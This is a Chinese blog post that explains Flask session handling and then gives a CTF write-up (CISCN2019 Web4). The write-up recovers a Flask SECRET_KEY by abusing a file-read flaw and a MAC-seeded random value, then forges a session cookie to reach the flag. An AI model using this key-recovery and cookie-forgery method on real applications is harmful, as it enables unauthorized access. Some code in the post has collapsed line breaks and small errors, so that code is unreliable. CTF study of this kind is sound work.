Flask-session用法

article/2025/6/30 0:50:05

首先还是先从概念入手,最近学习越学越来越觉得自己菜
在这里插入图片描述

Flask-session:

概念:

session咱们都知道是基于cookjie实现的,保存在服务器的键值对,同时在浏览器的cookie中也会保存相同的随机字符串,用来再次请求时拿出来,进行验证。

注意:Flask中的session是保存在浏览器中的,默认的key是session(加密的cookie),当然也可以将其保存在数据库中

flask中有一个session对象,它允许你在不同请求间存储特定用户的信息。它是在cookie的基础上实现的,并且对cookie进行密钥签名要使用会话,你需要设置一个密钥

同request一样,session基于上下文管理

SECRET_KEY:

flask的session是通过加密后保存在cookie中的,有加密就需要有解密用的密钥,只要用到了flask的session模块,就一定要配置’SECRET_KEY’这个全局宏。一般设置为24位的字符。
配置方法一:
新建一个config.py文件配置secret_key

SECRET_KEY='XXXXXXXXXX'

然后在运行主文件里面添加config文件里面的内容
main.py:

from flask import Flask,session
import config
app=Flask(__name__)

配置方法二:
直接在主运行模块里面配置,配置config的时候也是和操作字典是一样的
main.py:

from flask import Flask,session
app=Flask(__name__)
app.config['SESSION_KEY']='XXXXXX'
或:app.secret_key='xxxxxxx'

session的操作命令:

session的操作本质和操作字典一样
增:

session['username']'xxx'

查:

result=session['key']       #如果key不存在,会raise Error
result=session.get('key')   #如果key不存在,返回None

删:

session.pop('key')

清空:

session.clear

session的流程:

第一次请求进来,会把session所有的值都放入内存,对session的增删查改的命令都是在内存中进行的

  class SecureCookieSessionInterface(SessionInterface):open_session --> 打开,获取 app.session_cookie_name获取加密的session, 然后进行解密, save_session  --> 对操作完的sesison进行加密 保存

flask中 session的流程详解

1, 用户请求的request进来,实例化RequestContext,创建request_context对象,初始化session为空
在这里插入图片描述
在这里插入图片描述
2, 当接受到用户请求之后,会调用Flask对象的session_interface对象的open_session方法,以此来获取一个session对象。
3, 数据返回给用户,并把内容中的session重新保存
在这里插入图片描述
在这里插入图片描述
参考链接:
https://www.cnblogs.com/big-handsome-guy/p/8550310.html
https://www.cnblogs.com/big-handsome-guy/p/8550310.html

[CISCN2019 华东南赛区]Web4

点击readsomething发现url添加了百度,url里多了url参数,猜测存在任意文件读取。
读取/api/app.py 有源码

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True@app.route('/')
def index():session['username'] = 'www-data'return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)return res.read()except Exception as ex:print str(ex)return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':return open('/flag.txt').read()else:return 'Access denied'if __name__=='__main__':app.run(debug=True,host="0.0.0.0")

这就是一个flask-session题,``

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

读取/sys/class/net/eth0/address可以得到了mac地址
在这里插入图片描述
然后咱们主要是或者secretkey

Python 2.7.18 (v2.7.18:8d21aa21f2, Apr 20 2020, 13:25:05) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import random
>>> random.seed(0x46948203283a)
>>> print(str(random.random()*233))
103.025665766

在这里插入图片描述
用脚本解码我们原来的session

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':s = "eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YlWPqw.VtwY8brhyAARA4xqls4ihtreLtc"print(decryption(s.encode()))

得到{‘username’: b’www-data’}
在这里插入图片描述
{‘username’: b’www-data’}改为{‘username’: b’fuck’},用flask-session插件配合秘钥加密。

G:\flask-session-manager\flask-session-cookie-manager-master>python3 flask_session_cookie_manager3.py encode -s 103.025665766 -t "{'username':b'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YlWUug.asVFH_xqPhDtxofvKrBa6XqUjNs

伪造session,携带伪造的session访问flag路由即可拿到flag
在这里插入图片描述


http://chatgpt.dhexx.cn/article/46HlGQ61.shtml

相关文章

php $_session用法,php $_session用法是什么

php $_session用法&#xff1a;1、初始化session变量&#xff0c;代码为【session_start();】&#xff1b;2、session的写入、读取&#xff0c;代码为【$_SESSION[keyword] "php";】。 php $_session用法&#xff1a; 使用PHP应用session时&#xff0c;将session中的…

session的用法和详解

session的用法和详解 源地址&#xff1a;http://www.frontfree.net/view/article_742_page1.html 阅读本文章之前的准备  阅读本文章前&#xff0c;需要读者对以下知识有所了解。否则&#xff0c;阅读过程中会在相应的内容上遇到不同程度的问题。 懂得ASP/ASP.NET编程   了…

java中session的用法与原理

https://www.cnblogs.com/xdp-gacl/p/3855702.html session简介 在WEB开发中&#xff0c;服务器可以为每个用户浏览器创建一个会话对象&#xff08;session对象&#xff09;&#xff0c;注意&#xff1a;一个浏览器独占一个session对象(默认情况下)。因此&#xff0c;在需要保…

python二维表转一维表_Excel中如何将二维表转换成一维表

在办公过程中处理数据做报表时有时候需要我们将二维表转换为一维表&#xff0c;一维表与二维表最大的区别在于列字段中是否有相同性质的字段&#xff0c;有两个或两个以上相同性质字段的则是二维表&#xff0c;今天小编就教一下大家用Excel将二维表转换成一维表。 首先&#xf…

c++vector实现二维表

一、向量的介绍 向量 vector 是一种对象实体, 能够容纳许多其他类型相同的元素, 因此又被称为容器。 与string相同, vector 同属于STL(Standard Template Library, 标准模板库)中的一种自定义的数据类型, 可以广义上认为是数组的增强版。 在使用它时, 需要包含头文…

二维st表

摘要 我们知道一维的st表在经过预处理后可以在O(1)时间内查询任意区间的极值&#xff0c;虽然其是离线算法&#xff0c;但胜在代码短小易写。而在二维RMQ&#xff08;区间最值查询&#xff09;问题中&#xff0c;我们依然可以采用st算法解决问题&#xff0c;只不过我们需要从一…

【C#】读取txt、csv等二维表

程序要读文件&#xff0c;在实战中主要还是以二维表为主&#xff0c;类似下图这种&#xff1a; 基本上除了掌握《【C#】txt的读写》&#xff08;点击打开链接&#xff09;的文件流的读写&#xff0c;还需要与《【C#】利用正则表达式判断输入是否为纯数字、容器类》&#xff08;…

MySQL一维表变二维表_二维表转换一维表,三种方法一网打尽!

小伙伴们&#xff0c;早上好&#xff01;新的一天又开始了&#xff0c;学习的脚步不能停。 今天向大家分享二维表格转一维表的三种方法&#xff0c;分别用到函数、数据透视表和VBA代码。三种方法各有利弊&#xff0c;表亲可以自行选择。 如下图&#xff0c;A1:E5是数据源&#…

给二维表添加时间序列索引

一&#xff0c;读取数据 import pandas as pd open_dataspd.read_csv(./data328/open328.csv,headerNone) open_datas.head()(可以看到索引为数字) 二&#xff0c;创建时间序列 import pandas as pd open_dataspd.read_csv(./data328/open328.csv,headerNone) open_datas.h…

excel二维表转化为一维表

1、什么是二维表和一维表 二维表即表中有两个维度&#xff0c;纵向维度的哪列值唯一 一维表即只有列名一个维度 2、 添加工具并转换 我们需要添加【数据透视表和数据透视图向导】功能来完成&#xff0c;如果已经设置可以忽略这步 文件--选项--自定义功能区--不在功能区的命令…

Excel如何快速将一维表转为二维表

如下图左侧是某公司销售一维表&#xff0c;现在想要将其快速转换成右侧这种二维表。 选中姓名列所有数据区域&#xff0c;然后点击下图选项&#xff08;Excel工具箱&#xff0c;具体安装方法百度即可&#xff0c;本文不作过多叙述&#xff09; 选择【随机重复】&#xff0c;然后…

【Python】Pandas DataFrame 一维表二维表的转换

目录 一、stack & unstackunstack 将一维表转换为二维表stack 将二维表转换为一维表 二、pivot & meltpivot 将一维表转换为二维表melt将二维表转换为一维表 Tips 用pandas处理数据&#xff0c;我们经常获取到的是从数据库或者excel中获取的一维表。而常常需要重排&…

Excel:一维表和二维表 互转

一、一维表转二维表 数据源&#xff1a; 一份流水账式的值班表&#xff0c;为了便于打印张贴&#xff0c;现在需要使其变成这样的样式&#xff1a; 也就是从一维表变成传说中的二维表。 1、新建查询 依次单击【数据】→【新建查询】 →【从文件】→【从工作簿】 找到存放的工作…

mysql 二维表 查询_二维报表数据表设计

报表原型: 这里随便挑了一个二维报表 二维报表设计分析: 上面的报表原型行和列都有数据项,我们可以根据地理位置的经纬度定坐标点的思想来进行设计 这里使用列行来表示 c1r1表示第一列第一行 c1r2表示第一列第二行 ..... c2r1表示第二列第一行 c2r2表示第二 报表原型: 这里随便…

MySQL一维表变二维表_一维表转化为二维表,你会吗?

原标题&#xff1a;一维表转化为二维表&#xff0c;你会吗&#xff1f; 在产品的一些销售数据处理中&#xff0c;我们经常看到这样的一维表数据: 我们在进行数据的统计分析时&#xff0c;需要用这样的一维表作为数据源&#xff0c;所以正常情况下我们会用一维表的格式进行数据的…

python一维列表变二维列表_使用Python轻松应对一维表与二维表相互转换

数据分析时,同事经常给你一份二维表,是不是分分钟有想哭的冲动,一大堆的东西在一块,怎么透视?想要做进一步分析,也是特别麻烦。今天给你一种方便的方法。 一、入门版 先来看看可能要处理的文件是什么样的? 看看,别提多闹心了。当然我们不可能一开始就处理这么复杂的样…

Python实现一维表与二维表之间的相互转化

对已有数据表进行一维和二维之间的转化&#xff1a; import pandas as pd# 读入数据&#xff1a; df pd.read_excel(2dims.xls,Sheet1) df df的结构为&#xff1a; 如上图所示df是一个二维表。 # 将二维数据表转化为一维数据表&#xff1a; new_data df.set_index(地区) #…

java 二维表格_实现二维表

create or replace function getGoodsMsgForProtocol( str_in in varchar2,str_classId in varchar2)--分类字 return varchar2 is str_list varchar2(4000) default null;--连接后字符串 str_int number(2) default 0; begin for x in ( select goods.goodsname,goods.specs f…

二维表 转一维表 mysql_Excel二维表转换成一维表(2种方法)

今天大年初四&#xff0c;春节假期还剩三天了&#xff0c;每逢佳节胖三斤&#xff0c;亲们可要注意控制饮食了&#xff0c;要不然春节后无脸见人哟。闲话少说&#xff0c;今日分享如下。 在做数据处理的时候&#xff0c;有的时候为了处理方便我们需要将二维的数据表处理成一维的…

【一起学Rust | 进阶篇 | Grid库】二维表数据结构——Grid

文章目录 前言一、Grid安装和引入二、使用1. 运行官方案例2. Grid宏3. new4. init5. from_vec6. get7. get_mut8. size9. rows10. cols11. is_empty12. clear13. iter14. iter_mut15. iter_col16. iter_col_mut17. iter_row18. iter_row_mut19. push_row20. push_col21. pop_ro…